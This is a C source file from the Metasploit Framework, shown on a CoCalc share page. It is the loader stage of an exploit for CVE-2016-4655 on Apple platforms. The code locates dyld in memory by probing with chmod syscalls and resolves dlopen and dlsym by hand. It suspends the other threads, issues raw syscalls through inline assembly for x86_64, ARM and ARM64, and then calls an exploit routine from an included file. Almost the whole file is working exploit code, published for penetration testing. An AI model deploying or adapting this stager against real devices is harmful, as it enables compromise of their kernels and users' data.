CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2016-4655/main32.c
Views: 11780
1
#include <stdio.h>
2
#include <string.h>
3
4
#include <mach-o/loader.h>
5
#include <mach-o/nlist.h>
6
#include <mach-o/dyld.h>
7
#include <mach/mach.h>
8
9
#include <dlfcn.h>
10
#include <asl.h>
11
12
#include <sys/types.h>
13
#include <sys/sysctl.h>
14
15
#include <sys/mman.h>
16
17
#define DEBUG 1
18
19
#if __aarch64__
20
typedef struct mach_header_64 mach_header_t;
21
typedef struct segment_command_64 segment_command_t;
22
typedef struct section_64 section_t;
23
typedef struct nlist_64 nlist_t;
24
#define MH_MAGIC_T MH_MAGIC_64
25
#define LC_SEGMENT_T LC_SEGMENT_64
26
#else
27
typedef struct mach_header mach_header_t;
28
typedef struct segment_command segment_command_t;
29
typedef struct section section_t;
30
typedef struct nlist nlist_t;
31
#define MH_MAGIC_T MH_MAGIC
32
#define LC_SEGMENT_T LC_SEGMENT
33
#endif
34
35
//https://github.com/opensource-apple/dyld/blob/master/configs/dyld.xcconfig - iOS 9.3.4
36
#ifdef __x86_64
37
#define DYLD_BASE_ADDRESS 0x7fff5fc00000
38
#elif __arm64
39
#define DYLD_BASE_ADDRESS 0x120000000
40
#elif __arm
41
#define DYLD_BASE_ADDRESS 0x1fe00000
42
#else
43
#endif
44
45
int string_compare(const char* s1, const char* s2);
46
long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6);
47
void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer);
48
uint64_t syscall_chmod(uint64_t path, long mode);
49
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
50
void init_exploit(void * dlsym_addr, void * dlopen_addr);
51
void init_main();
52
void init();
53
54
int main()
55
{
56
init();
57
}
58
59
void init()
60
{
61
void* dlopen_addr = 0;
62
void* dlsym_addr = 0;
63
64
uint64_t start = DYLD_BASE_ADDRESS;
65
/*if (sierra) {*/
66
/*}*/
67
uint64_t dyld = find_macho(start, 0x1000, 0);
68
69
resolve_dyld_symbol((void*)dyld, &dlopen_addr, &dlsym_addr);
70
71
typedef void* (*dlopen_ptr)(const char *filename, int flags);
72
typedef void* (*dlsym_ptr)(void *handle, const char *symbol);
73
dlopen_ptr dlopen_func = dlopen_addr;
74
dlsym_ptr dlsym_func = dlsym_addr;
75
void* libsystem = dlopen_func("/usr/lib/libSystem.B.dylib", RTLD_NOW);
76
77
// Suspend threads
78
typedef mach_port_t (*mach_task_self_ptr)();
79
typedef thread_port_t (*mach_thread_self_ptr)();
80
typedef kern_return_t (*thread_suspend_ptr)(thread_act_t target_thread);
81
typedef kern_return_t (*task_threads_ptr)(task_t task, thread_act_array_t thread_list, mach_msg_type_number_t* thread_count);
82
void* libIOKit = dlopen_func("/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit", RTLD_NOW);
83
mach_task_self_ptr mach_task_self_func = dlsym_func(libIOKit, "mach_task_self");
84
mach_thread_self_ptr mach_thread_self_func = dlsym_func(libIOKit, "mach_thread_self");
85
thread_suspend_ptr thread_suspend_func = dlsym_func(libsystem, "thread_suspend");
86
task_threads_ptr task_threads_func = dlsym_func(libsystem, "task_threads");
87
thread_act_t current_thread = mach_thread_self_func();
88
mach_msg_type_number_t thread_count;
89
thread_act_array_t thread_list;
90
kern_return_t result = task_threads_func(mach_task_self_func(), (thread_act_array_t)&thread_list, &thread_count);
91
if (!result && thread_count) {
92
for (unsigned int i = 0; i < thread_count; ++i) {
93
thread_act_t other_thread = thread_list[i];
94
if (other_thread != current_thread) {
95
thread_suspend_func(other_thread);
96
}
97
}
98
}
99
100
// Run exploit
101
init_exploit(dlsym_addr, dlopen_addr);
102
103
}
104
105
uint64_t syscall_chmod(uint64_t path, long mode)
106
{
107
return asm_syscall(15, path, mode, 0, 0, 0, 0);
108
}
109
110
long asm_syscall(const long syscall_number, const long arg1, const long arg2, const long arg3, const long arg4, const long arg5, const long arg6){
111
long ret;
112
#ifdef __x86_64
113
asm volatile (
114
"movq %1, %%rax\n\t"
115
"movq %2, %%rdi\n\t"
116
"movq %3, %%rsi\n\t"
117
"movq %4, %%rdx\n\t"
118
"movq %5, %%rcx\n\t"
119
"movq %6, %%r8\n\t"
120
"movq %7, %%r9\n\t"
121
"syscall"
122
: "=a"(ret)
123
: "g"(syscall_number), "g"(arg1), "g"(arg2), "g"(arg3), "g"(arg4), "g"(arg5), "g"(arg6) );
124
#elif __arm__
125
volatile register uint32_t r12 asm("r12") = syscall_number;
126
volatile register uint32_t r0 asm("r0") = arg1;
127
volatile register uint32_t r1 asm("r1") = arg2;
128
volatile register uint32_t r2 asm("r2") = arg3;
129
volatile register uint32_t r3 asm("r3") = arg4;
130
volatile register uint32_t r4 asm("r4") = arg5;
131
volatile register uint32_t r5 asm("r5") = arg6;
132
volatile register uint32_t xret asm("r0");
133
asm volatile (
134
"mov r0, %2\n"
135
"mov r1, %3\n"
136
"mov r2, %4\n"
137
"mov r3, %5\n"
138
"mov r4, %6\n"
139
"mov r5, %7\n"
140
"mov r12, %1\n"
141
"swi 0x80\n"
142
"mov %0, r0\n"
143
: "=r"(xret)
144
: "r"(r12), "r"(r0), "r"(r1), "r"(r2), "r"(r3), "r"(r4), "r"(r5)
145
: "r0", "r1", "r2", "r3", "r4", "r5", "r12");
146
ret = xret;
147
#elif __aarch64__
148
// : ¯\_(ツ)_/¯
149
volatile register uint64_t x16 asm("x16") = syscall_number;
150
volatile register uint64_t x0 asm("x0") = arg1;
151
volatile register uint64_t x1 asm("x1") = arg2;
152
volatile register uint64_t x2 asm("x2") = arg3;
153
volatile register uint64_t x3 asm("x3") = arg4;
154
volatile register uint64_t x4 asm("x4") = arg5;
155
volatile register uint64_t x5 asm("x5") = arg6;
156
volatile register uint64_t xret asm("x0");
157
asm volatile (
158
"mov x0, %2\n\t"
159
"mov x1, %3\n\t"
160
"mov x2, %4\n\t"
161
"mov x3, %5\n\t"
162
"mov x4, %6\n\t"
163
"mov x5, %7\n\t"
164
"mov x16, %1\n\t"
165
"svc 0x80\n\t"
166
"mov %0, x0\n\t"
167
: "=r"(xret)
168
: "r"(x16), "r"(x0), "r"(x1), "r"(x2), "r"(x3), "r"(x4), "r"(x5)
169
: "x0", "x1", "x2", "x3", "x4", "x5", "x16");
170
ret = xret;
171
#endif
172
return ret;
173
}
174
175
int string_compare(const char* s1, const char* s2)
176
{
177
while (*s1 != '\0' && *s1 == *s2)
178
{
179
s1++;
180
s2++;
181
}
182
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
183
}
184
185
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
186
{
187
while(1) {
188
uint64_t ptr = addr;
189
if (pointer) {
190
ptr = *(uint64_t *)ptr;
191
}
192
unsigned long ret = syscall_chmod(ptr, 0777);
193
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_T) {
194
return ptr;
195
}
196
197
addr += increment;
198
}
199
return 0;
200
}
201
202
// Credits: http://blog.tihmstar.net/2018/01/modern-post-exploitation-techniques.html
203
void resolve_dyld_symbol(void* base, void** dlopen_pointer, void** dlsym_pointer)
204
{
205
struct load_command* lc;
206
segment_command_t* sc;
207
segment_command_t* data;
208
section_t* data_const = 0;
209
lc = (struct load_command*)(base + sizeof(mach_header_t));
210
211
for (int i=0;i<((mach_header_t*)base)->ncmds; i++) {
212
if (lc->cmd == LC_SEGMENT_T) {
213
sc = (struct segment_command*)lc;
214
if (string_compare(sc->segname, "__DATA") == 0) {
215
data = (struct segment_command*)lc;
216
break;
217
}
218
}
219
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
220
}
221
data_const = (section_t*)(data + 1);
222
for (int i=0; i<data->nsects; i++,data_const++) {
223
if (string_compare(data_const->sectname, "__const") == 0) {
224
break;
225
}
226
}
227
void **dataConst = base + data_const->offset;
228
229
while (!*dlopen_pointer || !*dlsym_pointer) {
230
if (string_compare((char*)(dataConst[0]), "__dyld_dlopen") == 0) {
231
*dlopen_pointer = (void*)dataConst[1];
232
}
233
if (string_compare((char*)(dataConst[0]), "__dyld_dlsym") == 0) {
234
*dlsym_pointer = (void*)dataConst[1];
235
}
236
dataConst += 2;
237
}
238
}
239
240
#include "exploit32.c"
241
242
243